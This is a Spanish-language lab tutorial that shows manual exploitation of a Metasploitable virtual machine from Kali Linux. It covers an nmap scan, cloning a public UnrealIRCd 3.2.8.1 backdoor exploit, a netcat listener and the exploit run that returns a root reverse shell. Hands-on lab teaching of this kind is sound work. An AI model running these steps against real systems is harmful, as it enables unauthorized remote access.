**Explotar Vulnerabilidades de Forma Manual**

1-Abrimos nuestra maquina mestasploitable

Debemos comprobar que tenemos conexión para eso hacemos un pinc.

2-Ahora abrimos Kali Linux

3-

──(root㉿kali)-[/home/kali]

└─# ping -c 1 192.168.1.9

Vemos que tenemos conectividad

┌──(kali㉿kali)-[~]

└─$ ping -c 1 192.168.1.9

PING 192.168.1.9 (192.168.1.9) 56(84) bytes of data.

64 bytes from 192.168.1.9: icmp\_seq=1 ttl=64 time=71.2 ms

--- 192.168.1.9 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 71.174/71.174/71.174/0.000 ms

4- Ahora vamos a utilizar un exploit de Python para lanzar un ataque a esta maquina victima y poder ganar acceso remoto, poder hackearla.

5- hacemos un escaneo con nmap.

──(root㉿kali)-[/home/kali/Desktop]

└─# nmap -p- -sV -sC --open -sS -vvv -n -Pn 192.168.1.9

6- en este caso vamos a tomar un puerto que tiene una vulnerabilidad

6667/tcp open irc syn-ack ttl 64 UnrealIRCd

7- Buscamos en Google si existe una herramienta para hackear esa vulnerabilidad.

Buscamos de esta manera:

Github UnrealIRCd how to

Seleccionamos este:

<https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor>

en este repositorio encontramos un archivo:

exploit.py

1-clonamos el repositorio

2-nos ubicamos en el escritorio en Kali Linux o bueno donde se quiera guardar , en mi caso en el escritorio.

┌──(root㉿kali)-[/home/kali/Desktop]

└─# git clone <https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor.git>

3- hacemos un ls:

┌──(root㉿kali)-[/home/kali/Desktop]

└─# ls

UnrealIRCd-3.2.8.1-Backdoor

4- Nos ubicamos dentro de el:

┌──(root㉿kali)-[/home/kali/Desktop]

└─# cd UnrealIRCd-3.2.8.1-Backdoor

Nos muestra que estamos dentro:

┌──(root㉿kali)-[/home/kali/Desktop/UnrealIRCd-3.2.8.1-Backdoor]

└─#

5- hacemos ls, vemos que el archivo se encuentra en color rojo:

┌──(root㉿kali)-[/home/kali/Desktop/UnrealIRCd-3.2.8.1-Backdoor]

└─# ls

exploit.py README.md

6- Para ejecutar un exploit debemos darle permisos de ejecución:

┌──(root㉿kali)-[/home/kali/Desktop/UnrealIRCd-3.2.8.1-Backdoor]

└─# chmod +x exploit.py

7- De nuevo hacemos un ls , vemos que el archivo se puso de color verde:

┌──(root㉿kali)-[/home/kali/Desktop/UnrealIRCd-3.2.8.1-Backdoor]

└─# ls

exploit.py README.md

8- ahora debemos ingresar dentro del exploit porque algunas veces toca hacer algunas modificaciones, poner nuestra IP, o la IP objetivo , o el puerto.

┌──(root㉿kali)-[/home/kali/Desktop/UnrealIRCd-3.2.8.1-Backdoor]

└─# nano exploit.py

9- vemos que en este caso nos pide la IP y el puerto de escucha :

En este caso ponemos nuestra IP y el puerto.

192.168.1.10

443

A travez de este puerto se nos va a enviar la Shell reverse a nuestro equipo que esta escuchando con netcat.

Ahora guardamos:

Ctrl o

Enter

Ctrl x

Listo tenemos el exploit guardado.

10- ponemos el siguiente comando con la dirección IP objetivo y el puerto por donde corre este servicio.

Antes de lanzar este exploit debemos ponernos en eschucha en nuestro equipo.

Abrimos otra pestaña y ponemos :

Aquies donde vamos a recibir el control del equipo victima, la Shell reverse.

┌──(root㉿kali)-[/home/kali]

└─# nc -nlvp 443

11- Ahora si lanzamos el ataque.

┌──(root㉿kali)-[/home/kali/Desktop/UnrealIRCd-3.2.8.1-Backdoor]

└─# ./exploit.py 192.168.1.9 6667 -payload netcat

12- Nos muestra que el exploit fue enviado correctamente:

┌──(root㉿kali)-[/home/kali/Desktop/UnrealIRCd-3.2.8.1-Backdoor]

└─# ./exploit.py 192.168.1.9 6667 -payload netcat

Exploit sent successfully!

13- Ahora regresamos a la pestaña donde estamos en escucha:

Y vemos que tenemos acceso remoto a la maquina victima , hemos recibido correctamente la Shell reverse.

┌──(root㉿kali)-[/home/kali]

└─# nc -nlvp 443

listening on [any] 443 ...

connect to [192.168.1.10] from (UNKNOWN) [192.168.1.9] 56271

14- Ahora hacemos ls, para ver los archivos que están en la maquina victima:

Pues nos muestra la información de ese equipo como si lo tuviéramos enfrente.

15- hacemos un :

pwd

Nos muestra la ubicación donde nos encontramos.

Podemos hacer:

cd /home

para regresar en las carpetas

cd msfadmin

luego:

ls

Ahora podemos mejorar la visualización de la consola :

script /dev/null -c bash

Ahora vemos la consola mejor:

root@metasploitable:/home/msfadmin#

Podemos crear un archivo:

root@metasploitable:/home/msfadmin# touch prueba.txt